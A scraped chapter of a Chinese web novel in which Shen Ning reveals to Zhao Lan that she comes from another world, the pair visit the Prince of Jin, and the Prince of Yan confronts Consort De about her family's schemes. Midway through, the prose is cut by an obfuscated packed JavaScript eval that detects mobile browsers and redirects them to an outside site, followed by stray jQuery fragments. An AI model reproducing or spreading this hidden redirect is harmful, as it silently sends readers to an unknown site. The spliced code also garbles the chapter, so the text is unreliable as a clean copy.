98. 第九十八章
作品:《王妃她好像不对劲》 赵澜声音温和,静静地望着沈宁,等她回答。
沈宁僵在原地,脑中有一瞬的空白。
被江煜安猜到实情时,她更多的是卸下了一直以来的愧疚和沉重,同时也起了一丝失落,失落于自己又要没有家人了。
如今被赵澜猜到了什么,她先是有一瞬的惊慌,随之而来的是忐忑。
沈家对她好,是因着她是他们女儿的这个身份,知道实情后依旧待她如初,是因为他们本就善良,本就是很好的人。
而赵澜,无论之前的图谋还是现在无所保留的对她好,都是因为她这个人,不是因为她是谁,只是她这个人,无关其他。
赵澜望着不发一言的沈宁,心下轻叹,她还是不信任自己吗?
他突然想起会试前,江煜安来府中二人说的话,听来福说,她开始是笑着的,后来又哭了,唯独没有惶恐和忐忑。
想到此处,他心里有些不快,和江煜安比起来,他才是她最亲近的人吧!
赵澜紧了紧握着她的手,拉着她去了如锡堂的书房,将她按坐在其中一张竹藤躺椅上,又将另一张竹藤躺椅拉到她的对面。
坐下,倾身向前,复又握住她的手。
窗外的桂树随风轻晃,庭院中的槭树也沙沙作响,时不时飘落几片火红的叶子。
赵澜凝神静目,声音温和,细听还有一丝不易察觉的哀怨:“那日,我也在佛堂内,要离开时恰好见知客僧带你过来,你虽然带了白纱围帽遮面,我还是一下就认出了是你,便隐在了堂柱后。”
沈宁静静地与他目光相对。
桂花的香气似有似无地氤氲围绕。
赵澜轻轻抚了抚她的面颊,笑了笑:“在那之前,我就已经打起了你的主意,你做了什么,我自然好奇,所以你离开佛堂后,我就去看了那盏长明灯,看到上面写的是你自己的名字,觉得有些意外。”
赵澜扯起嘴角又笑了笑,说了声“别怕”。
然后才继续道:“长明灯除了有祈福消业之意,有时还被用作为亡魂引路,而那日,你明显不想让人认出你。”
赵澜说到此处就停了下来,并未将已经显而易见的结果说出。
沈宁缓缓眨了眨眼睛,终于开口:“所以……”
赵澜:“所以,我很好奇,你究竟是谁。”
沈宁的忐忑已经全然不见,她想,她可以将她的来处坦白说出来。
她回握住赵澜的手,道:“我……的确不是沈家女沈宁,我来自另外一个世界。”
赵澜虽然猜到她不是沈家女,却没想到是这个答案。
他有些惊愕。
沈宁笑了笑:“我来这里前的白日去学游泳,就是浮水,结果不慎溺水,虽然被教练救了起来,晚上还是又梦到了溺水,梦里四周无人,觉得可能小命不保的时候……遇见了你。”
赵澜立刻反应了过来:“所以……我是你在大晟遇见的……第一个人?”
沈宁点了点头,笑道:“你还救了我。”
喜悦涌上了赵澜的心头,将那丝因江煜安起的不快驱散,随即又蹙起了眉头。
她孤身一人来到这里,会不会想念父母家人还有朋友?
还有,在那里,她有没有心悦之人?
赵澜小心谨慎地问:“你……可曾想过回去?”
沈宁:“我……无父无母也没有其他亲人。”
赵澜一怔。
沈宁笑了笑:“虽然我来到了这里,却无牵无挂,所以从未想过。”
赵澜听后,心里不仅没有松口气,反而满是心疼。
他将她拉到了怀里,紧紧地抱住了她。
良久,他才复又开口:“你那盏长明灯,可是为沈家女供的?”
沈宁点了点头:“我占了她的位子,虽然是小官之女,却也比大晟平民百姓的日子好许多,自是希望她也可以去一个好去处。”
赵澜:“所以,她是谢静辞对吗?”
沈宁从他怀里抬起头,惊讶显而易见。
赵澜终于笑了笑:“江煜安第一次来府中找你,来福将他和你说的话一字不落地告诉了我,那时我听的一头雾水,后来他能这么快和谢侯之女两情相悦,我还多有不解,直到今日,才恍然大悟。”
沈宁点了点头,忽而道:“你对我那个世界不好奇吗?”
赵澜摇了摇头,又点了点头:“好奇,但是也能猜出一二。”
沈宁瞪着眼睛继续听。
赵澜:“你对许多事都颇有见地,足以说明你学识不浅,说明那个世界极其兴盛太平,读书在历朝历代都是极其奢侈的事情,而你……”
沈宁懂了,她一个孤女都可以读书,只能是那里十分富足安乐。
赵澜绕过此处继续道:“只不过,我想象不到那里会兴盛成什么样子。”
沈宁能看出赵澜的克制,明明很好奇,却极度不想提及,小心翼翼地避开她的身世。
此时此刻,她尝到了被人呵护的感觉,心下一片温热。
她凑近碰了碰他的唇:“那以后我慢慢说给你听。”
赵澜回亲了亲:“好。”
翌日。
晋王女儿满月。
沈宁和赵澜用过早膳就去了晋王府。
晋王府已经闭门了好些时日,门房都习惯了同一套说辞,直到见到楚王爷,舌头都有些打结。
晋王爷正在同女儿絮叨,先说爹爹无能,被罚闭门思过,后说你母妃也一样,被罚禁足,连你的满月宴都不能热热闹闹的办。
正说的悲戚,有人来报:“楚王爷和楚王妃来了,还带了满月礼。”
晋王爷一听,立刻让人请进来,随即又阻止道:“我亲自去!”
然后让乳母照看好女儿,一个人跑了出去。
看到三弟时,晋王爷停了下来,十分激动道:“三弟!”
赵澜心道,不过数日不见,他这个傻二哥怎么对自己这么热情了?
晋王爷却没管这么多,他觉得三弟是除了父皇母后,唯一一个关心他的人,他的王妃和两个侧妃知道他被降爵了,都不似之前嘘寒问暖了。
晋王爷爱屋及乌,喊完了“三弟”又喊了声“三弟妹”,让沈宁受宠若惊。
赵澜将他和沈宁备的礼,还有康平帝的赏一块给了晋王。
晋王爷沉默了片刻,声音里转瞬带上了哭腔:“父皇……父皇还记得我……”
赵澜思考了一瞬,觉得还是给这个傻二哥点提示:“你是父皇的儿子,父皇怎会不记得?何况,父皇一直没公布你降爵之事。”
提示的十分直白,他觉得他这个傻二哥应该能听懂。
然而没有。
晋王爷叹道:“父皇日理万机,想必是把这事忘了吧!”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15889823|168464||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
他拍了拍赵澜的肩膀,声音闷闷的:“就劳烦三弟在父皇不忙的时候提醒父皇一声,还有,让父皇保重龙体。”
沈宁:……
赵澜:……
沈宁欲言又止,赵澜再次怀疑,二哥以前也这么……缺心眼吗?
二人不再提这茬,一起去看小侄女。
赵澜和沈宁在晋王府时,燕王去了咸福宫。
燕王和德妃相对而坐,如往常一样在下棋。
宫人们已经习惯了,燕王每次来看望德妃娘娘,二人都会下棋,最后都以德妃输了而告终。
只不过这次不同,燕王连输两盘。
第三盘开始时,德妃淡然开了口:“你心中有事,改日在下吧!”
燕王手中把玩着一枚棋子,道:“时至今日,母妃和舅舅还觉得我们能赢吗?”
德妃一顿,淡淡道:“皇儿是要认输吗?想将太子之位拱手送给他人?”
燕王目光平静:“母妃,我知道你们都做了些什么。”
德妃:“既然已经知道了,就不该说什么能不能赢的话,应该如过去一样,不能让任何人影响了我们的大业。”
燕王戏谑一笑。
大业?
他是想争过,那是他以为三弟不被父皇看重的情况,太子之位自然不能落在二弟那个草包手里,否则,以谢皇后的性子,他和三弟都活不了。
不过三弟从边关回来后,在这短短一年多的时间里,就做了这么多事,他也自问不如。
既然如此,他自是不会再争。
他收了笑,问:“母妃,您想过自己吗?”
德妃淡淡看着他。
燕王缓缓问道:“您的前半生是舅舅,后半生是舅舅和我,您自己呢?”
德妃淡声道:“说这些做什么?”
燕王没有回答,继续平静地问道:“您把自己放在什么位置?省吃俭用让舅舅吃好的用好的,即便您被封了妃位依旧如此。”
德妃依旧淡淡看着他。
燕王:“每年父皇赏赐的龙团胜雪,您都给舅舅送去。松江鲈鱼您明明也没吃过,却也给舅舅送去。您自己呢?”
这是燕王第三次问此话。
德妃淡淡垂眸,刚要开口,就听燕王继续道:“我知道母妃要说什么,难道曹家的女儿都要为曹家男人活着吗?”
一直平静的燕王眼中闪过一丝痛楚:“两个表妹,是怎么死的?真的是病死的吗?”
德妃依旧淡淡,无动于衷。
燕王压着怒意,隐忍道:“她们是被折磨死的!你们把雪晴表妹嫁给富商,为的不就是他手里的银子?把雪茹表妹嫁给边州武将,为的不就是他手里的兵权?那富商和武将都是什么人?你们之前没查过吗?他们有什么癖好你们不知道吗!”
德妃终于掀起眼帘,淡声道:“无论是银子还是兵权,都是为了你。”
燕王戏谑地笑了:“你们真的是为了我吗?”
德妃微微蹙了蹙眉,依旧淡淡道:“不然呢?你夺得太子之位,将来登上那个位置,自然就可以为你的两个表妹报仇,开创兴平盛世,让百姓安居乐业。”
燕王冷哼道:“你们连自己的骨肉血亲都可以弃之不顾,眼里又怎会有天下百姓!”
燕王将那枚棋子置于棋盘上,站起身来:“母妃,您和舅舅……收手吧!”

